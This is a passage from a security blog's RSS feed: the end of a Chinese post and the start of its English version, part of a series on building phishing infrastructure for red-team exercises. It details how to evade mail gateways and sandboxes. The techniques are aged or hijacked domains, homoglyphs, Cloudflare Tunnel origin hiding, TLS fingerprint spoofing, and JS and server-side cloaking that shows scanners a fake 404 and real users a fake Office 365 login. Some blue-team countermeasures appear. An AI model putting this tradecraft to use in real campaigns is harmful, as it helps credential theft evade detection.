&lt;p&gt;&lt;strong&gt;重要限制&lt;/strong&gt;：uTLS目前只能在ClientHello阶段模仿浏览器。&lt;code&gt;tls-client&lt;/code&gt; 尽管实现了服务器Hello验证阶段的类似模仿，但成熟度不如uTLS。另外Go标准库缺少TLS 1.3的某些扩展支持（如Compressed Certificate），导致部分Chrome模板在特定服务器握手失败。参考GitHub Issue [#321](javascript:😉。&lt;/p&gt;
&lt;h4&gt;4.3 GREASE对抗GREASE&lt;/h4&gt;
&lt;p&gt;RFC 8701定义了TLS GREASE（Generate Random Extensions And Sustain Extensibility）机制，本意是确保协议扩展的向后兼容性。Chrome率先在ClientHello中随机插入GREASE密码套件（如 &lt;code&gt;0x0A0A&lt;/code&gt;）和扩展类型，防止服务器因遇到未知值而中断连接。&lt;/p&gt;
&lt;p&gt;有趣的是，&lt;strong&gt;GREASE反而让JA3检测变得更加困难&lt;/strong&gt;：因为Chrome每次连接可能发送不同的GREASE值，JA3指纹也随之变化。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;红队进阶手法&lt;/strong&gt;：在uTLS自定义ClientHello中主动加入GREASE值，使指纹更接近真实Chrome。但需要维持一致性——AI模型（如PerimeterX、DataDome的ML分类器）不仅看单次握手指纹，还分析整个会话的TLS行为一致性（例如握手完成后发送的HTTP/2 SETTINGS帧序列是否与浏览器一致）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;0x05 载荷层对抗：多级探测页面&lt;/h3&gt;
&lt;p&gt;基础设施隐匿的最后防线在着陆页本身。taigong在这一层采用的是&lt;strong&gt;客户端JS探针 + 服务端多因子联判&lt;/strong&gt;的双层架构。这篇内容部分照搬了TaiGong项目中《第6章 高级识别之争》的研究笔记，目前不是很玄乎，也不是特别优秀的构思，刚好发出来举个栗子了。&lt;/p&gt;
&lt;h4&gt;5.1 客户端双层探针：magic.js + finger.js&lt;/h4&gt;
&lt;p&gt;taigong在每个落地页模板中注入了两个独立的客户端脚本，一个magic.js，一个fing.js。他们的作用大概如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;.检测 navigator.webdriver&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;检测 UA 中的 HeadlessChrome/PhantomJS 等关键词&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测 Chrome DevTools Protocol 是否已连接&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测 navigator.plugins 是否为空&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测 navigator.languages 是否存在&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测 window._phantom、window._selenium 等自动化框架属性&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测 window.outerWidth/outerHeight 是否为零&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测 Notification.permission 与权限 API 查询结果是否矛盾&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测 WebGL 渲染器是否为 SwiftShader/llvmpipe 等软件渲染器&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检测 performance.timing 的 DOM 解析耗时是否短于 5ms&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;判定逻辑&lt;/strong&gt;：&lt;code&gt;signals &gt;= 2&lt;/code&gt; （默认阈值）时，直接&lt;code&gt;document.write&lt;/code&gt;将整个页面替换为Nginx标准 404 HTML。100ms后&lt;code&gt;setTimeout&lt;/code&gt;再跑一次，覆盖异步加载的检测（如权限API）。检测到沙箱后还会向服务端发一个&lt;code&gt;/report?id=xxx&amp;#x26;reason=sandboxer&lt;/code&gt;的像素上报用于统计。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;红队视角&lt;/strong&gt;：这个探针的工程取舍是明确的——宁愿漏报也不误报，因为在我看来钓鱼演练更重要的是效果送达率。阈值设为2意味着单个异常信号（如仅UA匹配了HeadlessChrome）不会触发阻断，只有两个以上独立维度同时命中才判定为沙箱。在Taigong的实际使用中，后端控制了这一点，你可以通过修改&lt;code&gt;threshold&lt;/code&gt;变量调整灵敏度，建议范围1-3。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;蓝队视角&lt;/strong&gt;：magic.js的检测逻辑是静态的、完全可溯源的的。它检测不到以下场景：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;使用真实Chrome实例（非headless模式）的沙箱——WebDriver标记被抹除、WebGL渲染器正常、插件存在&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;从真实办公网络IP出站的爬虫——不命中任何静态检测项&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;puppeteer-extra-plugin-stealth&lt;/code&gt; + 真实浏览器实例的组合——第1、3、4、5项全部被绕过&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这从反面说明了为什么服务端联判必不可少。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;fing.js（客户端环境采集）&lt;/strong&gt; — 与magic.js同时注入的第二个脚本，在magic.js判定非沙箱后执行。采集内容包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Canvas指纹：固定文本+固定颜色+固定矩形的&lt;code&gt;canvas.toDataURL()&lt;/code&gt;哈希值——不同浏览器/OS/GPU组合产生不同的渲染结果&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;浏览器属性：&lt;code&gt;navigator.userAgent&lt;/code&gt;、&lt;code&gt;navigator.language&lt;/code&gt;、&lt;code&gt;navigator.platform&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;屏幕属性：`screen.width×screen.height```&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;环境属性：时区偏移（&lt;code&gt;new Date().getTimezoneOffset()&lt;/code&gt;）、触屏支持（&lt;code&gt;&apos;ontouchstart&apos; in window&lt;/code&gt;）、Cookie启用（&lt;code&gt;navigator.cookieEnabled&lt;/code&gt;）、DNT设置（&lt;code&gt;navigator.doNotTrack&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;采集数据通过POST发送到后端端点，服务端将其与click事件关联写入数据库，用于后续的受害者行为画像和风险评分。&lt;/p&gt;
&lt;h4&gt;5.2 服务端多因子联判：CheckEvasion&lt;/h4&gt;
&lt;p&gt;taigong在服务端函数中执行了以下判定，优先级从高到低：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;JA4黑名单&lt;/strong&gt;：客户端TLS指纹精确匹配已知扫描器/沙箱库（如Evilginx的&lt;code&gt;t13d191000_9dc949149365_e7c285222651&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IP黑名单&lt;/strong&gt;：支持精确IP、CIDR、通配符前缀三种格式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;云厂商IP阻断&lt;/strong&gt;：内置200+条CIDR规则覆盖AWS/Azure/GCP/阿里云/腾讯云&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;爬虫UA拦截&lt;/strong&gt;：35个已知Bot UA关键词，从Googlebot/Bingbot到python-requests/Go-http-client到VirusTotal/Censys，常见的都在添加。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;三级地理围栏&lt;/strong&gt;：支持国家级（&lt;code&gt;CN&lt;/code&gt;）、省级（&lt;code&gt;CN-广东&lt;/code&gt;）、市级（&lt;code&gt;CN-广东-深圳&lt;/code&gt;），多区域逗号分隔混用&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;判定为可疑后，根据配置执行：返回302重定向到合法网站、返回伪装Nginx 404、或照常显示。&lt;/p&gt;
&lt;p&gt;再举个实际场景的例子，假设一次针对某公司财务部的演练，邮件伪装成&quot;年度审计通知&quot;，落地页是伪造的 Office 365 登录框。&lt;/p&gt;
&lt;p&gt;第一层——服务端请求还没到落地页就被拦）&lt;/p&gt;
&lt;p&gt;部分邮件网关在用户收到邮件之前就已经在后台访问了这个链接。请求到达 taigong 服务端时：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;云厂商 IP 阻断：出口 IP 落在 腾讯CDN的 CIDR 段里 → 如果开启了 云厂商IP拦截，直接返回302跳转到百度首页。网关看到的是&quot;这个链接会跳转到百度&quot;，判定安全。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;即使云厂商检测没开，UA 检测：TencentCloud的 UA 里含&quot;TencentCloud/Tencent-Cloud&quot;关键词，命中爬虫黑名单 → 同样被拦截。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;第二层——magic.js（服务端没拦住，落地页已返回，但沙箱看不到真内容）&lt;/p&gt;
&lt;p&gt;假设换了个高级沙箱——从真实办公网络 IP 出站、自定义了正常浏览器 UA、没命中 JA4 黑名单——成功拿到了落地页 HTML。此时 magic.js 开始执行：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;navigator.webdriver === true → +1（沙箱用 Selenium/Playwright 驱动）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;navigator.plugins.length === 0 → +1（headless 没装插件）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;加载时间 &amp;#x3C; 5ms → +1（机器秒开 DOM）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;signals = 3 &gt;= 2，触发阻断。document.write 把浏览器的整个 DOM 替换成：&lt;/p&gt;
&lt;h2&gt;404 Not Found&lt;/h2&gt;
&lt;p&gt;同时发一个像素上报：/report?id=Ab7Xk2Q&amp;#x26;reason=sandboxer。&lt;/p&gt;
&lt;p&gt;沙箱的视角：它以为自己访问了一个已经下线的页面（404），什么钓鱼特征都没抓到。沙箱判定：安全。&lt;/p&gt;
&lt;p&gt;真实用户的视角：收到邮件，点击链接，浏览器正常打开落地页。magic.js 跑了一遍——navigator.webdriver 是 false，插件正常加载，渲染耗时正常几百毫秒——signals = 0，不触发阻断。页面正常显示 Office 365 登录框。输密码、提交、跳转。全程无感。&lt;/p&gt;
&lt;p&gt;所以这套设计的实际设想是：&lt;/p&gt;
&lt;p&gt;不是&quot;阻止沙箱访问&quot;，而是让沙箱和真人看到不同的东西。沙箱看到 Nginx 404，真人看到钓鱼表单。两层防线叠加后，沙箱要在服务端绕过 IP/UA/JA4 三层过滤，还要在客户端同时命中不到 2 个检测信号，看起来反溯源设计是不是很合理？这套设计仍然有弊端性存在。&lt;/p&gt;
&lt;h4&gt;5.3 这个方案的实际效果与局限性&lt;/h4&gt;
&lt;p&gt;局限性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;没有行为分析&lt;/strong&gt;：magic.js不做鼠标轨迹追踪、不做滚动检测、不做Fitts定律分析。市面上有些商业反检测方案把这些写进白皮书，但工程上行为分析延迟高、误报多、资源消耗大，在钓鱼场景下性价比不如静态检测。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;没有延迟渲染&lt;/strong&gt;：Landing Page的HTML是完整返回的，magic.js在页面已渲染后执行替换。SEG如果能dump出magic.js执行前的DOM快照，仍然能看到钓鱼表单。Sandbox的进化方向恰好是捕获初态DOM。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不是&quot;叠加态&quot;&lt;/strong&gt;：叠加态这只是我一种之前的设想，目前并没有找到一个好的思路进行实现。目前的实际逻辑是&quot;检测到沙箱后销毁页面&quot;，而不是&quot;不确定身份时不显示&quot;。这个区别在工程上很关键——初次响应不含任何恶意元素的&quot;真正叠加态&quot;需要服务端在收到客户端探针回调后才下发钓鱼内容，这带来了额外的延迟和复杂度。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上就是所有我对钓鱼行动安全的基础设施建设看法，但在如今的攻防对抗中，即使基础设施完美隐匿，一旦进入&lt;strong&gt;内容对抗阶段&lt;/strong&gt;，传统的静态HTML和硬编码话术依然会被AI分类器（如Microsoft Defender的ML模型、Exchange Safety AI）无情击杀。下一篇将深入邮件正文的对抗：&lt;strong&gt;多态HTML与语义稀释引擎实现&lt;/strong&gt;，让每封钓鱼邮件都成为独一无二的指纹，尝试调试贝叶斯和NLP分类器的防线。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;参考资料&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SubdoMailing Research&lt;/strong&gt; — Guardio Labs, Nati Tal &amp;#x26; Oleg Zaytsev, February 2024. https://guard.io/labs/subdomailing-thousands-of-hijacked-major-brand-subdomains-found-bombarding-users-with-millions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cloudflare Tunnel Documentation&lt;/strong&gt;. https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JA4 Network Fingerprinting&lt;/strong&gt; — FoxIO LLC. https://github.com/FoxIO-LLC/ja4&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ja4-nginx-module&lt;/strong&gt; — FoxIO. https://github.com/FoxIO-LLC/ja4-nginx-module&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Refraction Networking uTLS&lt;/strong&gt;. https://github.com/refraction-networking/utls&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RFC 8701 — TLS GREASE&lt;/strong&gt;. https://datatracker.ietf.org/doc/html/rfc8701&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cisco Talos Sender Maturity FAQ&lt;/strong&gt;. https://www.cisco.com/c/en/us/support/docs/security/email-security-appliance/215660-sdr-sender-maturity-faq.pdf&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Proofpoint Emerging Threats Intelligence&lt;/strong&gt;. https://www.proofpoint.com/us/products/advanced-threat-protection/et-intelligence&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;IDN Homograph Attack &amp;#x26; Japanese Character Confusion&lt;/strong&gt; — Tencent Cloud Security, 2025. https://cloud.tencent.com/developer/article/2597395&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;confusables-inspector&lt;/strong&gt; — OpenSecurity, 2025. https://github.com/opensecurity/confusables-inspector&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Certifiably Vulnerable: Using Certificate Transparency Logs for Target Reconnaissance&lt;/strong&gt; — Pletinckx et al., IEEE EuroS&amp;#x26;P 2023. https://doi.org/10.1109/EuroSP57164.2023.00038&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Don’t Phish-let Me Down: FIDO Authentication Downgrade&lt;/strong&gt; — Proofpoint US. https://www.proofpoint.com/us/blog/threat-insight/dont-phish-let-me-down-fido-authentication-downgrade&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;FIDO authentication undermined&lt;/strong&gt; — CSO Online. https://www.csoonline.com/article/4040128/fido-undermined.html&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Puppeteer Stealth Anti-Detection&lt;/strong&gt;. https://scrapingant.com/blog/avoid-detection-with-puppeteer-stealth&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Impact Assessment of Adversary-in-the-Middle Attack Evilginx Bypassing 2FA&lt;/strong&gt; — Springer ICR 2025. https://link.springer.com/chapter/10.1007/978-3-031-95652-2_14&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Browser Fingerprinting Techniques&lt;/strong&gt;. https://fingerprint.com/blog/browser-fingerprinting-techniques/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Aged-domain acquisition bypass&lt;/strong&gt; — The Record / newestek.com. https://cybersecurityinfocus.com/?p=8455&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;系列导航&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-1-gophish-ceiling&quot;&gt;Part 1：GoPhish 的天花板&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-2-opsec-infra&quot;&gt;Part 2：不可溯源的基础设施&lt;/a&gt; ← 本文&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-3-bayes-nlp&quot;&gt;Part 3：贝叶斯与 NLP 内容对抗&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-4-rid-polymorphism&quot;&gt;Part 4：参数多态与响应伪装&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-5-qr-delivery&quot;&gt;Part 5：无链接投递与 QR 码&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-6-bec-polymorphism&quot;&gt;Part 6：BEC 3.0 与跨渠道编排&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Email Phishing Eng. · 2: Untraceable Infra</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-2-opsec-infra-en</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-2-opsec-infra-en</guid><description>From domain reputation and Cloudflare Tunnel to TLS fingerprints and probes—how to build high-stealth phishing infrastructure.</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;First published on the WeChat official account: &lt;strong&gt;Yofune Security Research&lt;/strong&gt;. Follow for more.&lt;/p&gt;
&lt;h2&gt;Stealth and Adversarial Defense—Building Untraceable Infrastructure&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This is Part 2 of the &lt;strong&gt;Email Phishing Engineering&lt;/strong&gt; series. Part 1 broke down the architectural debt and detection surface of traditional phishing frameworks (GoPhish). This article goes deep into the infrastructure layer—from domain acquisition and network topology through TLS fingerprints to probes—layer by layer on how to build infrastructure that withstands threat-intel attribution and sandbox analysis.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3&gt;0x01 Infrastructure Survival Windows&lt;/h3&gt;
&lt;p&gt;Under OPSEC rules in red/blue engagement, infrastructure lifetime decides outcomes. A bare public-IP VPS, a domain registered 12 hours ago, HTTPS with a self-signed cert—picture a stock Cobalt Strike with unaltered fingerprints: that stack’s survival window is often under 10 minutes. Modern enterprise defense-in-depth draws on multi-dimensional intel:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Secure Email Gateways (SEG):&lt;/strong&gt; Domain-reputation modules in major Chinese mail security gateways (QiAnXin Mail Security Gateway, Sangfor Mail Security Gateway, Coremail) score on registration age, sending history, SPF/DKIM status, and more. Cloud services such as NetEase Enterprise Mail and Tencent Enterprise Mail embed anti-spam engines based on sending-behavior profiles and default higher risk weight for domains under 30 days old. International products such as Proofpoint TRAP (real-time correlation of domain reputation and URL classification) and Spamhaus DBL are also deployed to some degree in China, mainly for foreign-invested and multinational firms.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Network edge:&lt;/strong&gt; Next-gen firewalls (Huawei HiSec, Sangfor AF, QiAnXin Smart Firewall) and web content / internet behavior management appliances (Sangfor AC, NetentSec) with TLS decryption can extract client traits. Many Chinese enterprises already get SSL audit with their internet behavior management purchases; despite significant performance cost, an egress with SSL audit can produce JA3/JA4 fingerprints that identify non-browser automation tools.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Endpoint and sandbox:&lt;/strong&gt; Domestic EDR includes QiAnXin Tianqing, Sangfor EDR, Huorong Enterprise, and others. For mail sandboxes—QiAnXin SkyEye Sandbox, ThreatBook OneSandbox (a domestic sandbox-as-a-service representative), DBAPPSecurity threat-intel sandboxes, and similar—vendors crawl URLs in mail with headless browsers, extract DOM structure, and return JavaScript probe content. Some vendor sandboxes already support full JavaScript execution on Chromium kernels (educated guess; not fully confirmed).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Threat intelligence centers:&lt;/strong&gt; Domestic SOC CT-log monitoring paths differ from overseas ones. Subscribing directly to major foreign security-intel APIs for real-time push is often unstable under domestic network conditions; the mainstream approach is domain-monitoring services from QiAnXin Threat Intelligence Center and ThreatBook, with alert rules for newly registered domains similar to the organization’s own. Alibaba Cloud and Tencent Cloud DNSPod also offer domain-registration monitoring APIs for enterprise customers.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Infrastructure is the first-order factor. That means a battle-oriented phishing exercise platform must treat &lt;strong&gt;anti-attribution&lt;/strong&gt; and &lt;strong&gt;high stealth&lt;/strong&gt; as first-class priorities in architecture.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x02 Domain Reputation Engineering: From Acquisition to Care&lt;/h3&gt;
&lt;p&gt;Step one for infrastructure is not buying a server—it is buying a domain. Domain reputation decides whether mail clears the SEG’s first gate.&lt;/p&gt;
&lt;h4&gt;2.1 Drop Fresh Domains; Embrace Aged Domains&lt;/h4&gt;
&lt;p&gt;A common red-team mistake: register something like &lt;code&gt;corp-login-update.com&lt;/code&gt; for a single op. The fatal issue is domain age. Some security vendors treat registration duration as a core factor. Sending linked mail immediately after registration often lands in junk or direct quarantine (550 5.7.1). This has been observed on 189, 136, and 163 mail in China.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Operational acquisition strategies:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aged domain acquisition.&lt;/strong&gt; Look for domains with multi-year history, categorized by registrars as “tech” or “business,” that entered cooling after non-renewal. These come with initial reputation. Per &lt;em&gt;The Record&lt;/em&gt; (2024), a 9-year-old domain &lt;code&gt;digitalscrapbookingfreebies.com&lt;/code&gt; was re-registered after cooling by a phishing group and successfully bypassed a state health agency’s mail gateway. Age data comes from Whois history; reputation scores inherit DNS resolution history and continuity of SSL certificate issuance.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Subdomain takeover.&lt;/strong&gt; In February 2024, Guardio Labs researchers Nati Tal and Oleg Zaytsev exposed a large-scale subdomain takeover campaign codenamed “ResurrecAds” (see Guard.io research). Attackers scanned expired CNAME records of large enterprises (MSN, VMware, McAfee, Cornell University, UNICEF, etc.)—e.g. &lt;code&gt;marthastewart.msn.com&lt;/code&gt; CNAME pointing to the 22-year-abandoned domain &lt;code&gt;msnmarthastesweeps.com&lt;/code&gt;. Re-registering that domain enabled mail from &lt;code&gt;@marthastewart.msn.com&lt;/code&gt;, inheriting MSN top-tier reputation. At peak the campaign sent ~5 million malicious messages per day from ~22,000 unique IPs (including residential ISP proxies), rotating each hijacked domain after only 1–2 days. Guardio Labs provides a free detection tool (checker.guard.io).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Homoglyphs and Punycode.&lt;/strong&gt; Visual confusion via Unicode—Latin &lt;code&gt;a&lt;/code&gt; (U+0061) vs Cyrillic &lt;code&gt;а&lt;/code&gt; (U+0430), Latin &lt;code&gt;o&lt;/code&gt; (U+006F) vs Greek &lt;code&gt;ο&lt;/code&gt; (U+03BF). Modern browsers (Chrome 58+, Firefox 58+, Edge) force Punycode display for cross-script mixes: when a domain mixes characters from different Unicode scripts, the address bar shows the &lt;code&gt;xn--&lt;/code&gt; form. But 2025 research from Tencent Cloud Security notes that within a single script (e.g. full Japanese Hiragana), homoglyph confusion can still bypass browser detection—e.g. substituting &lt;code&gt;ん&lt;/code&gt; (U+3093) for &lt;code&gt;/&lt;/code&gt; to build phishing URLs like &lt;code&gt;https://account.booking[.]comんdetail&lt;/code&gt; that visually resemble path structure. (Still active in Web3 attack incidents.)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Blue team countermeasures:&lt;/strong&gt; Use &lt;code&gt;confusables-inspector&lt;/code&gt; (open-source on GitHub, updated June 2025) to auto-detect confusable characters; on the SEG side, Punycode-decode all URLs in message bodies for inspection.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2.2 Correct Configuration of Mail Authentication Protocols&lt;/h4&gt;
&lt;p&gt;SPF, DKIM, and DMARC are mandatory, not optional. If you want phishing mail in the victim’s inbox, this is one of the conditions.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SPF &lt;code&gt;include:&lt;/code&gt; chain hijacking:&lt;/strong&gt; The SubdoMailing campaign showed SPF’s &lt;code&gt;include:&lt;/code&gt; mechanism as an attack surface—when an enterprise SPF record references an abandoned external domain, registering that domain lets an attacker inject malicious authorization.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DKIM key length:&lt;/strong&gt; Prefer &lt;code&gt;rsa-sha256&lt;/code&gt; with keys of at least 2048 bits. 1024-bit keys face brute-force risk (see cryptographic analysis lessons from CVE-2023-50387 on DNSSEC).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DMARC policy:&lt;/strong&gt; On a self-hosted mail gateway this is indispensable. Set DMARC to &lt;code&gt;v=DMARC1; p=reject;&lt;/code&gt;—this seemingly harsh policy actually increases the domain’s “trustworthiness,” because it signals that the owner takes mail security seriously.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;0x03 Network Topology: Don’t Let the Blue Team Touch Your Real IP&lt;/h3&gt;
&lt;p&gt;For a long time, writing the phishing platform’s public IP into the domain A record meant: the blue team can ban the IP, scan open ports, attribute via ASN to the VPS provider, and file Abuse with the IDC to get the host killed. That still works on domestic clouds—see Huawei Cloud / Tencent Cloud / Alibaba Cloud policies: internal scanning and external abuse both shut machines down.&lt;/p&gt;
&lt;h4&gt;3.1 Cloudflare Tunnel: From Passive Inbound to Active Outbound&lt;/h4&gt;
&lt;p&gt;When building the TaiGong project we also drew on overseas technical write-ups. Broadly: use tunneling to hide the entire infrastructure. Nginx alone is limited, so we abandoned traditional reverse proxies and adopted Cloudflare Tunnel end-to-end.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How it works:&lt;/strong&gt; Run the &lt;code&gt;cloudflared&lt;/code&gt; daemon on the server; it actively opens outbound HTTP/2 or QUIC long-lived connections to Cloudflare edge nodes (default to port 7844). The server needs no open inbound ports—security groups can deny all inbound. When a request hits a Cloudflare edge, it is multiplexed over the established tunnel to a local loopback address (&lt;code&gt;127.0.0.1:80&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Core benefits:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;| Dimension | Traditional reverse proxy | Cloudflare Tunnel |
| :-- | :-- | :-- |
| Inbound ports | Must open 80/443 | No inbound ports required |
| IP stealth | CDN helps, but origin IPs may still surface in FOFA/ZoomEye/Shodan history | Physical-level hide; mappers only see CF node IPs |
| ICP filing | Unfiled domains on domestic cloud hosts can be RST at the ISP layer | Outbound traffic is not subject to Host-header sniffing the same way; can pierce |
| DDoS protection | Depends on fronting CDN | CF edge is natively DDoS-resistant |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CDN edge auth:&lt;/strong&gt; Tunnel alone is not enough—once the blue team has the domain they can still script requests and flood the database with junk. Think of countermeasures similar to Cobalt Strike beacon camouflage. TaiGong’s solution combines Cloudflare Transform Rules: the edge injects a custom Header on all legitimate requests; the backend TaiGong engine only serves the phishing page after validating that Header. Tokenless requests (mappers, sandbox crawlers, direct scanners) get a 302 to a benign target (e.g. &lt;code&gt;https://www.baidu.com&lt;/code&gt;), reducing spatial-engine scanning and attribution at the root.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Blue team countermeasures:&lt;/strong&gt; Detect abnormal high-frequency outbound connections to &lt;code&gt;[IP range]:7844&lt;/code&gt; (Cloudflare Tunnel port); identify Tunnel-characteristic traffic on network appliances; watch for uncommon headers in request packets.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3.2 Edge Environment-Aware Filtering&lt;/h4&gt;
&lt;p&gt;Implement the first filter layer in Cloudflare Workers or Edge Functions; selectively origin-fetch based on request traits:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ASN denylist:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Filter cloud-provider and security-vendor ASNs—these ranges are almost never real victims.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
